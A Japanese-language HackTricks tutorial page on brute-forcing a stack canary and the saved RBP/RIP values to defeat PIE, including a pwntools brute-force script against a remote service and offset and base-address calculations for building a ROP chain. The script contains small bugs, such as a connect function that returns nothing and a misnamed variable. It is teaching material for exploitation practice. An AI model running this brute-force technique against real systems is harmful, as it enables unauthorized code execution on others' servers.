BF Addresses in the Stack

htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

キャナリとPIE(Position Independent Executable)で保護されたバイナリに直面している場合、それらをバイパスする方法を見つける必要があるかもしれません。

checksec は、バイナリが静的にコンパイルされており、関数を識別することができない場合、バイナリがキャナリで保護されていることを見つけることができないかもしれません。 ただし、関数呼び出しの開始時にスタックに値が保存され、この値が終了前にチェックされる場合、これを手動で気付くことができます。

アドレスのブルートフォース

PIEをバイパスするためには、いくつかのアドレスをリークする必要があります。バイナリがアドレスをリークしていない場合、脆弱な関数内のスタックに保存されたRBPとRIPをブルートフォースするのが最善です。 たとえば、バイナリがキャナリPIEの両方を使用して保護されている場合、まずキャナリをブルートフォースし、次の8バイト(x64)が保存されたRBPであり、次の8バイトが保存されたRIPになります。

スタック内のリターンアドレスがメインバイナリコードに属していると仮定されており、脆弱性がバイナリコードにある場合は通常そのようなケースになります。

バイナリからRBPとRIPをブルートフォースするには、プログラムが何かを出力するかクラッシュしない場合、有効な推測されたバイトが正しいことがわかります。キャナリをブルートフォースするために提供された関数と同じ関数を使用して、RBPとRIPをブルートフォースすることができます。

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

最後に、PIEを打破するために必要なのは、漏洩したアドレスから有用なアドレスを計算することです:RBPRIP

RBPからは、スタック内にシェルを書き込んでいる場所を計算することができます。これは、スタック内に文字列_"/bin/sh\x00"_を書き込む場所を知るのに非常に役立ちます。漏洩したRBPとあなたのシェルコードの間の距離を計算するには、漏洩したRBPの後にブレークポイントを設定して、シェルコードがどこにあるかを確認し、その後、シェルコードとRBPの間の距離を計算できます:

INI_SHELLCODE = RBP - 1152

RIPからは、PIEバイナリのベースアドレスを計算できます。これは、有効なROPチェーンを作成するために必要になります。 ベースアドレスを計算するには、単にobjdump -d vunbinaryを実行し、最新のアドレスを逐次進行してください:

この例では、すべてのコードを特定するのに1バイトと半分だけが必要であることがわかります。したがって、この状況では、ベースアドレスは**"000"で終わるリークしたRIP**になります。たとえば、0x562002970ecfがリークした場合、ベースアドレスは0x562002970000になります。

elf.address = RIP - (RIP & 0xfff)

改善

この投稿からのいくつかの観察 によると、RBP と RIP の値を漏洩させる際、サーバーは正しい値でないいくつかの値でクラッシュせず、BF スクリプトは正しい値を取得したと思うかもしれません。これは、正確な値でなくても、いくつかのアドレスがそれを壊すことが可能だからです。

そのブログ投稿によると、サーバーへのリクエスト間に短い遅延を導入することが推奨されています。

Last updated